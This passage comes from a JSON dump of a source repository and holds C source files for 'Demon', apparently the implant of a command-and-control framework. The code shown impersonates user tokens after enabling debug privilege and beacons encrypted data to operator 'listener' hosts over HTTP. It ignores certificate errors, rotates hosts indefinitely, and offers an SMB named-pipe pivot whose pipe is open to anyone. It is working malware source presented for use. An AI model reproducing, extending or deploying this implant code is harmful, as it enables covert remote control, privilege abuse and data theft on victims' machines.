STATUS_UNSUCCESSFUL;\n\n    if ( ! TokenData ) {\n        goto Cleanup;\n    }\n\n    /* if we are already impersonating the selected token, do nothing */\n    if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) {\n        return TRUE;\n    }\n\n    if ( ! TokenSetSeDebugPriv( TRUE ) ) {\n        PUTS( \"Could not enable SE_DEBUG_NAME privilege.\" )\n        goto Cleanup;\n    }\n\n    if ( ! TokenRevSelf() ) {\n        PACKAGE_ERROR_WIN32\n        goto Cleanup;\n    }\n\n    if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) {\n        Instance->Tokens.Impersonate = TRUE;\n        Instance->Tokens.Token       = TokenData;\n\n        PRINTF( \"[+] Successfully impersonated: %ls\\n\", TokenData->DomainUser );\n    } else {\n        Instance->Tokens.Impersonate = FALSE;\n        Instance->Tokens.Token       = NULL;\n\n        PRINTF( \"[!] Failed to impersonate token user: %ls\\n\", TokenData->DomainUser );\n\n        PACKAGE_ERROR_WIN32\n\n        if ( ! TokenRevSelf() ) {\n            PACKAGE_ERROR_WIN32\n        }\n\n        goto Cleanup;\n    }\n\n    Success = TRUE;\n\nCleanup:\n    return Success;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Transport.c",
    "content": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Package.h>\n#include <core/Transport.h>\n#include <core/MiniStd.h>\n#include <core/TransportHttp.h>\n#include <core/TransportSmb.h>\n\n#include <crypt/AesCrypt.h>\n\nBOOL TransportInit( )\n{\n    PUTS_DONT_SEND( \"Connecting to listener\" )\n    PVOID  Data    = NULL;\n    SIZE_T Size    = 0;\n    BOOL   Success = FALSE;\n\n    /* Sends to our connection (direct/pivot) */\n#ifdef TRANSPORT_HTTP\n    if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) )\n    {\n        AESCTX AesCtx = { 0 };\n\n        /* Decrypt what we got */\n        AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );\n        AesXCryptBuffer( &AesCtx, Data, Size );\n\n        if ( Data )\n        {\n            if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) )\n            {\n                Instance->Session.Connected = TRUE;\n                Success = TRUE;\n            }\n        }\n    }\n#endif\n\n#ifdef TRANSPORT_SMB\n    if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE )\n    {\n        Instance->Session.Connected = TRUE;\n        Success = TRUE;\n    }\n#endif\n\n    return Success;\n}\n\nBOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize )\n{\n    BUFFER Send = { 0 };\n    BUFFER Resp = { 0 };\n\n    Send.Buffer = Data;\n    Send.Length = Size;\n\n#ifdef TRANSPORT_HTTP\n\n    if ( HttpSend( &Send, &Resp ) )\n    {\n        if ( RecvData )\n            *RecvData = Resp.Buffer;\n\n        if ( RecvSize )\n            *RecvSize = Resp.Length;\n\n        return TRUE;\n    }\n\n#endif\n\n#ifdef TRANSPORT_SMB\n\n    if ( SmbSend( &Send ) )\n    {\n        return TRUE;\n    }\n\n#endif\n\n    return FALSE;\n}\n\n#ifdef TRANSPORT_SMB\n\nBOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize )\n{\n    BUFFER Resp = { 0 };\n\n    if ( RecvData )\n        *RecvData = NULL;\n\n    if ( RecvSize )\n        *RecvSize = 0;\n\n    if ( SmbRecv( &Resp ) )\n    {\n        if ( RecvData )\n            *RecvData = Resp.Buffer;\n\n        if ( RecvSize )\n            *RecvSize = Resp.Length;\n\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/TransportHttp.c",
    "content": "#include <Demon.h>\n\n#include <core/TransportHttp.h>\n#include <core/MiniStd.h>\n\n#ifdef TRANSPORT_HTTP\n\n/*!\n * @brief\n *  send a http request\n *\n * @param Send\n *  buffer to send\n *\n * @param Resp\n *  buffer response\n *\n * @return\n *  if successful send request\n */\nBOOL HttpSend(\n    _In_      PBUFFER Send,\n    _Out_opt_ PBUFFER Resp\n) {\n    HANDLE  Connect        = { 0 };\n    HANDLE  Request        = { 0 };\n    LPWSTR  HttpHeader     = { 0 };\n    LPWSTR  HttpEndpoint   = { 0 };\n    DWORD   HttpFlags      = { 0 };\n    LPCWSTR HttpProxy      = { 0 };\n    PWSTR   HttpScheme     = { 0 };\n    DWORD   Counter        = { 0 };\n    DWORD   Iterator       = { 0 };\n    DWORD   BufRead        = { 0 };\n    UCHAR   Buffer[ 1024 ] = { 0 };\n    PVOID   RespBuffer     = { 0 };\n    SIZE_T  RespSize       = { 0 };\n    BOOL    Successful     = { 0 };\n\n    WINHTTP_PROXY_INFO                   ProxyInfo        = { 0 };\n    WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig      = { 0 };\n    WINHTTP_AUTOPROXY_OPTIONS            AutoProxyOptions = { 0 };\n\n    /* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */\n    TokenImpersonate( FALSE );\n\n    /* if we don't have any more hosts left, then exit */\n    if ( ! Instance->Config.Transport.Host ) {\n        PUTS_DONT_SEND( \"No hosts left to use... exit now.\" )\n        CommandExit( NULL );\n    }\n\n    if ( ! Instance->hHttpSession ) {\n        if ( Instance->Config.Transport.Proxy.Enabled ) {\n            // Use preconfigured proxy\n            HttpProxy = Instance->Config.Transport.Proxy.Url;\n\n            /* PRINTF_DONT_SEND( \"WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\\n\", Instance->Config.Transport.UserAgent, HttpProxy ) */\n            Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 );\n        } else {\n            // Autodetect proxy settings\n            /* PRINTF_DONT_SEND( \"WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\\n\", Instance->Config.Transport.UserAgent ) */\n            Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );\n        }\n\n        if ( ! Instance->hHttpSession ) {\n            PRINTF_DONT_SEND( \"WinHttpOpen: Failed => %d\\n\", NtGetLastError() )\n            goto LEAVE;\n        }\n    }\n\n    /* PRINTF_DONT_SEND( \"WinHttpConnect( %x, %ls, %d, 0 )\\n\", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */\n    if ( ! ( Connect = Instance->Win32.WinHttpConnect(\n        Instance->hHttpSession,\n        Instance->Config.Transport.Host->Host,\n        Instance->Config.Transport.Host->Port,\n        0\n    ) ) ) {\n        PRINTF_DONT_SEND( \"WinHttpConnect: Failed => %d\\n\", NtGetLastError() )\n        goto LEAVE;\n    }\n\n    while ( TRUE ) {\n        if ( ! Instance->Config.Transport.Uris[ Counter ] ) {\n            break;\n        } else {\n            Counter++;\n        }\n    }\n\n    HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ];\n    HttpFlags    = WINHTTP_FLAG_BYPASS_PROXY_CACHE;\n\n    if ( Instance->Config.Transport.Secure ) {\n        HttpFlags |= WINHTTP_FLAG_SECURE;\n    }\n\n    /* PRINTF_DONT_SEND( \"WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\\n\", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */\n    if ( ! ( Request = Instance->Win32.WinHttpOpenRequest(\n        Connect,\n        Instance->Config.Transport.Method,\n        HttpEndpoint,\n        NULL,\n        NULL,\n        NULL,\n        HttpFlags\n    ) ) ) {\n        PRINTF_DONT_SEND( \"WinHttpOpenRequest: Failed => %d\\n\", NtGetLastError() )\n        goto LEAVE;\n    }\n\n    if ( Instance->Config.Transport.Secure ) {\n        HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA        |\n                    SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |\n                    SECURITY_FLAG_IGNORE_CERT_CN_INVALID   |\n                    SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;\n\n        if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )\n        {\n            PRINTF_DONT_SEND( \"WinHttpSetOption: Failed => %d\\n\", NtGetLastError() );\n        }\n    }\n\n    /* Add our headers */\n    do {\n        HttpHeader = Instance->Config.Transport.Headers[ Iterator ];\n\n        if ( ! HttpHeader )\n            break;\n\n        if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) {\n            PRINTF_DONT_SEND( \"Failed to add header: %ls\", HttpHeader )\n        }\n\n        Iterator++;\n    } while ( TRUE );\n\n    if ( Instance->Config.Transport.Proxy.Enabled ) {\n\n        // Use preconfigured proxy\n        ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;\n        ProxyInfo.lpszProxy    = Instance->Config.Transport.Proxy.Url;\n\n        if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) {\n            PRINTF_DONT_SEND( \"WinHttpSetOption: Failed => %d\\n\", NtGetLastError() );\n        }\n\n        if ( Instance->Config.Transport.Proxy.Username ) {\n            if ( ! Instance->Win32.WinHttpSetOption(\n                Request,\n                WINHTTP_OPTION_PROXY_USERNAME,\n                Instance->Config.Transport.Proxy.Username,\n                StringLengthW( Instance->Config.Transport.Proxy.Username )\n            ) ) {\n                PRINTF_DONT_SEND( \"Failed to set proxy username %u\", NtGetLastError() );\n            }\n        }\n\n        if ( Instance->Config.Transport.Proxy.Password ) {\n            if ( ! Instance->Win32.WinHttpSetOption(\n                Request,\n                WINHTTP_OPTION_PROXY_PASSWORD,\n                Instance->Config.Transport.Proxy.Password,\n                StringLengthW( Instance->Config.Transport.Proxy.Password )\n            ) ) {\n                PRINTF_DONT_SEND( \"Failed to set proxy password %u\", NtGetLastError() );\n            }\n        }\n\n    } else if ( ! Instance->LookedForProxy ) {\n        // Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol\n\n        /*\n         * NOTE: We use WinHttpGetProxyForUrl as the first option because\n         *       WinHttpGetIEProxyConfigForCurrentUser can fail with certain users\n         *       and also the documentation states that WinHttpGetIEProxyConfigForCurrentUser\n         *       \"can be used as a fall-back mechanism\" so we are using it that way\n         */\n\n        AutoProxyOptions.dwFlags                = WINHTTP_AUTOPROXY_AUTO_DETECT;\n        AutoProxyOptions.dwAutoDetectFlags      = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;\n        AutoProxyOptions.lpszAutoConfigUrl      = NULL;\n        AutoProxyOptions.lpvReserved            = NULL;\n        AutoProxyOptions.dwReserved             = 0;\n        AutoProxyOptions.fAutoLogonIfChallenged = TRUE;\n\n        if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {\n            if ( ProxyInfo.lpszProxy ) {\n                PRINTF_DONT_SEND( \"Using proxy %ls\\n\", ProxyInfo.lpszProxy );\n            }\n\n            Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );\n            Instance->ProxyForUrl       = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );\n            MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );\n        } else {\n            // WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back\n            if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) {\n                if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) {\n                    // IE is set to \"use a proxy server\"\n                    ProxyInfo.dwAccessType    = WINHTTP_ACCESS_TYPE_NAMED_PROXY;\n                    ProxyInfo.lpszProxy       = ProxyConfig.lpszProxy;\n                    ProxyInfo.lpszProxyBypass = ProxyConfig.lpszProxyBypass;\n\n                    PRINTF_DONT_SEND( \"Using IE proxy %ls\\n\", ProxyInfo.lpszProxy );\n\n                    Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );\n                    Instance->ProxyForUrl       = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );\n                    MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );\n\n                    // don't cleanup these values\n                    ProxyConfig.lpszProxy       = NULL;\n                    ProxyConfig.lpszProxyBypass = NULL;\n                } else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) {\n                    // IE is set to \"Use automatic proxy configuration\"\n                    AutoProxyOptions.dwFlags           = WINHTTP_AUTOPROXY_CONFIG_URL;\n                    AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl;\n                    AutoProxyOptions.dwAutoDetectFlags = 0;\n\n                    PRINTF_DONT_SEND( \"Trying to discover the proxy config via the config url %ls\\n\", AutoProxyOptions.lpszAutoConfigUrl );\n\n                    if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {\n                        if ( ProxyInfo.lpszProxy ) {\n                            PRINTF_DONT_SEND( \"Using proxy %ls\\n\", ProxyInfo.lpszProxy );\n                        }\n\n                        Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );\n                        Instance->ProxyForUrl       = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );\n                        MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );\n                    }\n                } else {\n                    // IE is set to \"automatically detect settings\"\n                    // ignore this as we already tried\n                }\n            }\n        }\n\n        Instance->LookedForProxy = TRUE;\n    }\n\n    if ( Instance->ProxyForUrl ) {\n        if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) {\n            PRINTF_DONT_SEND( \"WinHttpSetOption: Failed => %d\\n\", NtGetLastError() );\n        }\n    }\n\n    /* Send package to our listener */\n    if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) {\n        if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) {\n            /* Is the server recognizing us ? are we good ?  */\n            if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) {\n                PUTS_DONT_SEND( \"HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)\" )\n                Successful = FALSE;\n                goto LEAVE;\n            }\n\n            if ( Resp ) {\n                RespBuffer = NULL;\n\n                //\n                // read the entire response into the Resp BUFFER\n                //\n                do {\n                    Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead );\n                    if ( ! Successful || BufRead == 0 ) {\n                        break;\n                    }\n\n                    if ( ! RespBuffer ) {\n                        RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead );\n                    } else {\n                        RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );\n                    }\n\n                    RespSize += BufRead;\n\n                    MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead );\n                    MemSet( Buffer, 0, sizeof( Buffer ) );\n                } while ( Successful == TRUE );\n\n                Resp->Length = RespSize;\n                Resp->Buffer = RespBuffer;\n\n                Successful = TRUE;\n            }\n        }\n    } else {\n        if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) {\n            Instance->Session.Connected = FALSE;\n        }\n\n        PRINTF_DONT_SEND( \"HTTP Error: %d\\n\", NtGetLastError() )\n    }\n\nLEAVE:\n    if ( Connect ) {\n        Instance->Win32.WinHttpCloseHandle( Connect );\n    }\n\n    if ( Request ) {\n        Instance->Win32.WinHttpCloseHandle( Request );\n    }\n\n    if ( ProxyConfig.lpszProxy ) {\n        Instance->Win32.GlobalFree( ProxyConfig.lpszProxy );\n    }\n\n    if ( ProxyConfig.lpszProxyBypass ) {\n        Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass );\n    }\n\n    if ( ProxyConfig.lpszAutoConfigUrl ) {\n        Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl );\n    }\n\n    /* re-impersonate the token */\n    TokenImpersonate( TRUE );\n\n    if ( ! Successful ) {\n        /* if we hit our max then we use our next host */\n        Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host );\n    }\n\n    return Successful;\n}\n\n/*!\n * @brief\n *  Query the Http Status code from the request response.\n *\n * @param hRequest\n *  request handle\n *\n * @return\n *  Http status code\n */\nDWORD HttpQueryStatus(\n    _In_ HANDLE Request\n) {\n    DWORD StatusCode = 0;\n    DWORD StatusSize = sizeof( DWORD );\n\n    if ( Instance->Win32.WinHttpQueryHeaders(\n        Request,\n        WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,\n        WINHTTP_HEADER_NAME_BY_INDEX,\n        &StatusCode,\n        &StatusSize,\n        WINHTTP_NO_HEADER_INDEX\n    ) ) {\n        return StatusCode;\n    }\n\n    return 0;\n}\n\nPHOST_DATA HostAdd(\n    _In_ LPWSTR Host, SIZE_T Size, DWORD Port )\n{\n    PRINTF_DONT_SEND( \"Host -> Host:[%ls] Size:[%ld] Port:[%ld]\\n\", Host, Size, Port );\n\n    PHOST_DATA HostData = NULL;\n\n    HostData       = MmHeapAlloc( sizeof( HOST_DATA ) );\n    HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) );\n    HostData->Port = Port;\n    HostData->Dead = FALSE;\n    HostData->Next = Instance->Config.Transport.Hosts;\n\n    /* Copy host to our buffer */\n    MemCopy( HostData->Host, Host, Size );\n\n    /* Add to hosts linked list */\n    Instance->Config.Transport.Hosts = HostData;\n\n    return HostData;\n}\n\nPHOST_DATA HostFailure( PHOST_DATA Host )\n{\n    if ( ! Host )\n        return NULL;\n\n    if ( Host->Failures == Instance->Config.Transport.HostMaxRetries )\n    {\n        /* we reached our max failed retries with our current host data\n         * use next one */\n        Host->Dead = TRUE;\n\n        /* Get our next host based on our rotation strategy. */\n        return HostRotation( Instance->Config.Transport.HostRotation );\n    }\n\n    /* Increase our failed counter */\n    Host->Failures++;\n\n    PRINTF_DONT_SEND( \"Host [Host: %ls:%ld] failure counter increased to %d\\n\", Host->Host, Host->Port, Host->Failures )\n\n    return Host;\n}\n\n/* Gets a random host from linked list. */\nPHOST_DATA HostRandom()\n{\n    PHOST_DATA Host  = NULL;\n    DWORD      Index = RandomNumber32() % HostCount();\n    DWORD      Count = 0;\n\n    Host = Instance->Config.Transport.Hosts;\n\n    for ( ;; )\n    {\n        if ( Count == Index )\n            break;\n\n        if ( ! Host )\n            break;\n\n        /* if we are the end and still didn't found the random index quit. */\n        if ( ! Host->Next )\n        {\n            Host = NULL;\n            break;\n        }\n\n        Count++;\n\n        /* Next host please */\n        Host = Host->Next;\n    }\n\n    PRINTF_DONT_SEND( \"Index: %d\\n\", Index )\n    PRINTF_DONT_SEND( \"Host : %p (%ls:%ld :: Dead[%s] :: Failures[%d])\\n\", Host, Host->Host, Host->Port, Host->Dead ? \"TRUE\" : \"FALSE\", Host->Failures )\n\n    return Host;\n}\n\nPHOST_DATA HostRotation( SHORT Strategy )\n{\n    PHOST_DATA Host = NULL;\n\n    if ( Instance->Config.Transport.NumHosts > 1 )\n    {\n        /*\n         * Different CDNs can have different WPAD rules.\n         * After rotating, look for the proxy again\n         */\n        Instance->LookedForProxy = FALSE;\n    }\n\n    if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN )\n    {\n        DWORD Count = 0;\n\n        /* get linked list */\n        Host = Instance->Config.Transport.Hosts;\n\n        /* If our current host is empty\n         * then return the top host from our linked list. */\n        if ( ! Instance->Config.Transport.Host )\n            return Host;\n\n        for ( Count = 0; Count < HostCount();  )\n        {\n            /* check if it's not an empty pointer */\n            if ( ! Host )\n                break;\n\n            /* if the host is dead (max retries limit reached) then continue */\n            if ( Host->Dead )\n                Host = Host->Next;\n            else break;\n        }\n    }\n    else if ( Strategy == TRANSPORT_HTTP_ROTATION_RANDOM )\n    {\n        /* Get a random Host */\n        Host = HostRandom();\n\n        /* if we fail use the first host we get available. */\n        if ( Host->Dead )\n            /* fallback to Round Robin */\n            Host = HostRotation( TRANSPORT_HTTP_ROTATION_ROUND_ROBIN );\n    }\n\n    /* if we specified infinite retries then reset every \"Failed\" retries in our linked list and do this forever...\n     * as the operator wants. */\n    if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host )\n    {\n        PUTS_DONT_SEND( \"Specified to keep going. To infinity... and beyond\" )\n\n        /* get linked list */\n        Host = Instance->Config.Transport.Hosts;\n\n        /* iterate over linked list */\n        for ( ;; )\n        {\n            if ( ! Host )\n                break;\n\n            /* reset failures */\n            Host->Failures = 0;\n            Host->Dead     = FALSE;\n\n            Host = Host->Next;\n        }\n\n        /* tell the caller to start at the beginning */\n        Host = Instance->Config.Transport.Hosts;\n    }\n\n    return Host;\n}\n\nDWORD HostCount()\n{\n    PHOST_DATA Host  = NULL;\n    PHOST_DATA Head  = NULL;\n    DWORD      Count = 0;\n\n    Head = Instance->Config.Transport.Hosts;\n    Host = Head;\n\n    do {\n\n        if ( ! Host )\n            break;\n\n        Count++;\n\n        Host = Host->Next;\n\n        /* if we are at the beginning again then stop. */\n        if ( Head == Host )\n            break;\n\n    } while ( TRUE );\n\n    return Count;\n}\n\nBOOL HostCheckup()\n{\n    PHOST_DATA Host  = NULL;\n    PHOST_DATA Head  = NULL;\n    DWORD      Count = 0;\n    BOOL       Alive = TRUE;\n\n    Head = Instance->Config.Transport.Hosts;\n    Host = Head;\n\n    do {\n        if ( ! Host )\n            break;\n\n        if ( Host->Dead )\n            Count++;\n\n        Host = Host->Next;\n\n        /* if we are at the beginning again then stop. */\n        if ( Head == Host )\n            break;\n    } while ( TRUE );\n\n    /* check if every host is dead */\n    if ( HostCount() == Count )\n        Alive = FALSE;\n\n    return Alive;\n}\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/TransportSmb.c",
    "content": "#include <Demon.h>\n\n#include <core/TransportSmb.h>\n#include <core/MiniStd.h>\n\n#ifdef TRANSPORT_SMB\n\nBOOL SmbSend( PBUFFER Send )\n{\n    if ( ! Instance->Config.Transport.Handle )\n    {\n        SMB_PIPE_SEC_ATTR   SmbSecAttr   = { 0 };\n        SECURITY_ATTRIBUTES SecurityAttr = { 0 };\n\n        /* Setup attributes to allow \"anyone\" to connect to our pipe */\n        SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr );\n\n        Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name,  // Named Pipe\n                                                                            PIPE_ACCESS_DUPLEX,              // read/write access\n                                                                            PIPE_TYPE_MESSAGE     |          // message type pipe\n                                                                            PIPE_READMODE_MESSAGE |          // message-read mode\n                                                                            PIPE_WAIT,                       // blocking mode\n                                                                            PIPE_UNLIMITED_INSTANCES,        // max. instances\n                                                                            PIPE_BUFFER_MAX,                 // output buffer size\n                                                                            PIPE_BUFFER_MAX,                 // input buffer size\n                                                                            0,                               // client time-out\n                                                                            &SecurityAttr );                 // security attributes\n\n        SmbSecurityAttrFree( &SmbSecAttr );\n\n        if ( ! Instance->Config.Transport.Handle )\n            return FALSE;\n\n        if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) )\n        {\n            SysNtClose( Instance->Config.Transport.Handle );\n            return FALSE;\n        }\n\n        /* Send the message/package we want to send to the new client... */\n        return PipeWrite( Instance->Config.Transport.Handle, Send );\n    }\n\n    if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) )\n    {\n        PRINTF( \"WriteFile Failed:[%d]\\n\", NtGetLastError() );\n\n        /* Means that the client disconnected/the pipe is closing. */\n        if ( NtGetLastError() == ERROR_NO_DATA )\n        {\n            if ( Instance->Config.Transport.Handle )\n            {\n                SysNtClose( Instance->Config.Transport.Handle );\n                Instance->Config.Transport.Handle = NULL;\n            }\n\n            Instance->Session.Connected = FALSE;\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL SmbRecv( PBUFFER Resp )\n{\n    DWORD BytesSize   = 0;\n    DWORD DemonId     = 0;\n    DWORD PackageSize = 0;\n\n    if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) )\n    {\n        if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) )\n        {\n            if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )\n            {\n                PRINTF( \"Failed to read the DemonId from pipe, error: %d\\n\", NtGetLastError() )\n                Resp->Buffer = NULL;\n                Resp->Length = 0;\n                Instance->Session.Connected = FALSE;\n                return FALSE;\n            }\n\n            if ( Instance->Session.AgentID != DemonId )\n            {\n                PRINTF( \"The message doesn't have the correct DemonId: %x\\n\", DemonId )\n                Resp->Buffer = NULL;\n                Resp->Length = 0;\n                Instance->Session.Connected = FALSE;\n                return FALSE;\n            }\n\n            if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )\n            {\n                PRINTF( \"Failed to read the PackageSize from pipe, error: %d\\n\", NtGetLastError() )\n                Resp->Buffer = NULL;\n                Resp->Length = 0;\n                Instance->Session.Connected = FALSE;\n                return FALSE;\n            }\n\n            Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize );\n            Resp->Length = PackageSize;\n\n            if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) )\n            {\n                PRINTF( \"PipeRead failed with to read 0x%x bytes from pipe\\n\", Resp->Length )\n                if ( Resp->Buffer )\n                {\n                    Instance->Win32.LocalFree( Resp->Buffer );\n                    Resp->Buffer = NULL;\n                }\n\n                Resp->Length = 0;\n                Instance->Session.Connected = FALSE;\n                return FALSE;\n            }\n            //PRINTF(\"successfully read 0x%x bytes from pipe\\n\", PackageSize)\n        }\n        else if ( BytesSize > 0 )\n        {\n            PRINTF( \"Data in the pipe is too small: 0x%x\\n\", BytesSize )\n        }\n        else\n        {\n            // nothing to read\n        }\n    }\n    else\n    {\n        /* We disconnected */\n        PRINTF( \"PeekNamedPipe failed with %d\\n\", NtGetLastError() )\n        Instance->Session.Connected = FALSE;\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n/* Took it from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_pivot_named_pipe.c#L286\n * But seems like MeterPreter doesn't free everything so let's do this too. */\nVOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr )\n{\n    SID_IDENTIFIER_AUTHORITY SidIdAuth      = SECURITY_WORLD_SID_AUTHORITY;\n    SID_IDENTIFIER_AUTHORITY SidLabel       = SECURITY_MANDATORY_LABEL_AUTHORITY;\n    EXPLICIT_ACCESSW         ExplicitAccess = { 0 };\n    DWORD                    Result         = 0;\n    PACL                     DAcl           = NULL;\n    /* zero them out. */\n    MemSet( SmbSecAttr,   0, sizeof( SMB_PIPE_SEC_ATTR ) );\n    MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) );\n\n    if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) )\n    {\n        PRINTF( \"AllocateAndInitializeSid failed: %u\\n\", NtGetLastError() );\n        return;\n    }\n    PRINTF( \"SmbSecAttr->Sid: %p\\n\", SmbSecAttr->Sid );\n\n    ExplicitAccess.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL;\n    ExplicitAccess.grfAccessMode        = SET_ACCESS;\n    ExplicitAccess.grfInheritance       = NO_INHERITANCE;\n    ExplicitAccess.Trustee.TrusteeForm  = TRUSTEE_IS_SID;\n    ExplicitAccess.Trustee.TrusteeType  = TRUSTEE_IS_WELL_KNOWN_GROUP;\n    ExplicitAccess.Trustee.ptstrName    = SmbSecAttr->Sid;\n\n    Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl );\n    if ( Result != ERROR_SUCCESS )\n    {\n        PRINTF( \"SetEntriesInAclW failed: %u\\n\", Result );\n    }\n    PRINTF( \"DACL: %p\\n\", DAcl );\n\n    if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) )\n    {\n        PRINTF( \"AllocateAndInitializeSid failed: %u\\n\", NtGetLastError() );\n    }\n    PRINTF( \"sidLow: %p\\n\", SmbSecAttr->SidLow );\n\n    SmbSecAttr->SAcl = MmHeapAlloc( 